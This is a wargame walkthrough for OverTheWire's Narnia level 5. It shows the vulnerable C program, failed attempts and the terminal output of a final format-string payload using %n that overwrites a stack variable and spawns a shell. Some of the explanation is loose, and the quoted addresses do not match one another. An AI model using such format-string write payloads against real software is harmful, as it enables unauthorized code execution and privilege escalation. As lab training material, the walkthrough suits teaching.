

Narnia Level - 5

This is an elaborate each level oriented write-up for the Narnia wargame from OverTheWire.org. These challenges provide invaluable hands-on learning experiences in cybersecurity and exploitation techniques. If you find these resources helpful, please consider supporting the OverTheWire team who create and maintain these educational platforms—they're doing important work making security education accessible to everyone.

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Tools Used:

- echo with format specifiers
-

TL;DR

Vulnerability:

Format string vulnerability in `snprintf()` function

Objective:

Change variable `i` from 1 to 500 to get shell access

Key Concept:

The `%n` format specifier writes the number of characters printed so far to a memory address (pointer argument)

Exploitation Steps:

1. Identify that `snprintf(buffer, sizeof buffer, argv[1])` allows format string injection through `argv[1]`
2. Find memory address of variable `i` (e.g., `0xfffffd3a0`)
3. Craft payload to write 500 to that address using `%n`

Final Payload:

```
./narnia5 $(echo -e "\xa0\xd3\xff\xff%496x%1\$n")
```

Payload Breakdown:

- `\xa0\xd3\xff\xff` - Memory address of `i` (little-endian, 4 bytes)
- `%496x` - Prints 496 spaces (4 bytes from address + 496 = 500 total)
- `%1\$n` - Writes character count (500) to the 1st argument (address of `i`)

Result: Successfully changes `i` to 500, triggering shell access.

Level info:

narnia3.c

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char **argv){
    int i = 1;
    char buffer[64];

    snprintf(buffer, sizeof buffer, argv[1]);
    buffer[sizeof (buffer) - 1] = 0;
    printf("Change i's value from 1 → 500. ");

    if(i==500){
        printf("GOOD\n");
        setreuid(geteuid(),geteuid());
        system("/bin/sh");
    }

    printf("No way...let me give you a hint!\n");
    printf("buffer : [%s] (%d)\n", buffer, strlen(buffer));
    printf ("i = %d (%p)\n", i, &i);
```

```
    return 0;  
}
```

Solution:

let's try to normally execute and run the program first:

```
narnia5@narnia:/narnia$ ./narnia5  
Segmentation fault (core dumped)  
narnia5@narnia:/narnia$ ./narnia5 1234567890  
Change i's value from 1 -> 500. No way...let me give you a hint!  
buffer : [1234567890] (10)  
i = 1 (0xfffffd3a0)  
narnia5@narnia:$
```

Okay the program has made it pretty obvious for us to change the value of 'i' somehow, let's go back to the code and see if there is anyway we can find to achieve the same:

```
int i = 1;  
char buffer[64];
```

Seems consistent with the style of this wargame, buffer overflow seems to be the core idea here as well, let's try to do the same:

```
`echo -e "ABCDEFGHIJKLM NOPQRSTUVWXYZ ABCDEFGHIJKLM NOPQRSTUVWXYZ  
VWXYZ ABCDEFGHIJK\xF4\x1d\xff\xff" `
```

The idea is to store 63 characters (because of this)
buffer[sizeof (buffer) - 1] = 0;

And then parse the value of i as 500 that would overflow but the idea seems to not work
most probably because how data is accepted in this program, I jumped the gun

n- let me go
back and see...

```
narnia5@narnia:/narnia$ ./narnia5 `echo -e "ABCDEFGHIJKLMNPQRSTUVWXYZABCDEFHIJKLMNOPQRSTUVWXYZABCDEFHIJK\xF4\x1d\xff\xff"`
Change i's value from 1 -> 500. No way...let me give you a hint!
buffer : [ABCDEFGHIJKLMNPQRSTUVWXYZABCDEFHIJKLMNOPQRSTUVWXYZABCDEFHIJK] (63)
i = 1 (0xffffd370)
```

I should have imagined it wouldn't be as simple as that lol, but never mind let's head back to the code again and see what else we can notice, this was a failed attempt but never mind.

```
snprintf(buffer, sizeof buffer, argv[1]);
```

The above line of code is something I'm not aware in the context in which it is working let me look that up:

The `snprintf` function in C is a standard library function declared in the `<stdio.h>` header file, designed to format and store output in a character array (`buffer`) rather than printing directly to the standard output stream. It is similar to `sprintf`, but includes a `size` parameter to prevent buffer overflow by specifying the maximum number of characters (including the null terminator) that can be written to the buffer.

Okay so the intuition seems to fall in place, it is indeed `snprintf` that is responsible for blocking the buffer overflow- however it also is the vulnerability as well, its call a format string vulnerability which in our case is:

```
argv[1]();
```

Let me look up some documentation of the kind of parameters it accepts as well as the return value(s):

snprintf() Parameters:

buffer : Pointer to the string buffer to write the result.

buf_size : Specify maximum number of characters to be written to buffer which is

buf_size-1.

format : Pointer to a null terminated string that is written to the file stream.

It consists of characters along with optional format specifiers starting with %.

The format specifiers are replaced by the values of respective variables that follows

the format string.

The format specifier has the following parts:

1. A leading % sign

2. Flags: Optional one or more flags that modifies the conversion behavior.

- : Left justify the result within the field. By default it is right justified.

+ : The sign of the result is attached to the beginning of the value, even for
or

positive results.

3. Space: If there is no sign, a space is attached to the beginning of the result.

: An alternative form of the conversion is performed.

0 : It is used for integer and floating point number. Leading zeros are used to

pad the numbers instead of space.

4. Width: An optional * or integer value used to specify minimum width field.

5. Precision : An optional field consisting of a . followed by * or integer or nothing

to specify the precision.

6. Length : An optional length modifier that specifies the size of the argument.

7. Specifier : A conversion format specifier. The available format specifiers are as

follows:

Format Specifier	Description
%	Prints %
c	Writes a single character
s	Writes a character string
d / i	Converts a signed integer to decimal representation
o	Converts an unsigned integer to octal representation
x / X	Converts an unsigned integer to hexadecimal representation
u	Converts an unsigned integer to decimal representation
f / F	Converts floating-point number to decimal representation
e / E	Converts floating-point number to decimal exponent notation
a / A	Converts floating-point number to hexadecimal exponent notation
on	
g / G	Converts floating-point number to either decimal or decimal-exponent
n	Stores the number of characters written so far (written to the pointer argument)
p	Writes an implementation-defined character sequence representing a pointer

So the general format of format specifier is:

`%[flags][width][.precision][length]specifier`

... : Other additional arguments specifying the data to be printed. They occur in a sequence according to the format specifier.

snprintf() Return value

If successful, the snprintf() function returns number of characters that would have been written for sufficiently large buffer excluding the terminating null character.

On failure it returns a negative value.

The output is considered to be written completely if and only if the returned value is nonnegative and less than buf_size.

Okay, let me try something and see if it works:

```
narnia5@narnia:/narnia$ ./narnia5 $(echo -e "\x41\x42\x43\x44\x45")
Change i's value from 1 -> 500. No way...let me give you a hint!
buffer : [ABCDE] (5)
i = 1 (0xfffffd3b0)
narnia5@narnia:/narnia$ |
```

Okay so it works, it is accepting my hexadecimal values for letters, next

Let's try giving the memory address for **i** and see how it behaves [in little endian format]:

```
./narnia5 $(echo -e "\xb0\xd3\xff\xff")
```

```
narnia5@narnia:/narnia$ ./narnia5 $(echo -e "\xb0\xd3\xff\xff")
Change i's value from 1 -> 500. No way...let me give you a hint!
buffer : [♦♦♦] (4)
i = 1 (0xfffffd3b0)
narnia5@narnia$ ./narnia5 $(echo -e "\xb0\xd3\xff\xff")%n
Change i's value from 1 -> 500. No way...let me give you a hint!
buffer : [♦♦♦] (4)
i = 4 (0xfffffd3b0)
narnia5@narnia:/narnia$ |
```

Now if you see the two command instructions the first one actually does successfully store the address of **i** in buffer.

next we know when we use %n as a format specifier it return the the number of characters stored:

n	Stores the number of characters written so far	
	(written to the pointer argument)	

So that returns 4 which is stored as the value of `i` and if we can make it 4 we can also make it as 500:

```
./narnia5 $(echo -e "\xb0\xd3\xff\xff"+496)%n
```

```
narnia5@narnia:/narnia$ ./narnia5 $(echo -e "\xb0\xd3\xff\xff"+496)%n
Change i's value from 1 -> 500. No way...let me give you a hint!
buffer : [♦♦♦♦+496] (8)
i = 1 (0xfffffd3a0)
```

Well again jumped the gun- this still isn't going to work, allow me another chance, okay I had to refer to a write-up but finally I understood the payload.

FINAL WORKING PAYLOAD:

```
./narnia5 $(echo -e "\xa0\xd3\xff\xff")%496x%1\$n
```

```
narnia5@narnia:/narnia$ ./narnia5 $(echo -e "\xa0\xd3\xff\xff")%496x%1\$n
Change i's value from 1 -> 500. GOOD
$ whoami
narnia6
$ cat [REDACTED]
```

Allow me to break-down its working:

%496x → 4 charcters are for address + 496 = 500, x is for space, how?
→ because from the documentation we know;
If there is no sign, a space is attached to the beginning of the result.

`%n` → needs to know the format specifier is for the first argument of our sub-argument

that is the address of `i`, that's why we need to specify that:

`%1$n` → \$ needs escape sequencing thus it finally becomes:

`%1\$n`

I think that should clear the doubts if any.

References:

1. Programiz.com [snprintf documentation]:

<https://www.programiz.com/cpp-programming/library-function/cstdio/snprintf>

2. YouTube [HMCyberAcademy]:

<https://www.youtube.com/watch?v=LQmyCvoJKrA&t=3s>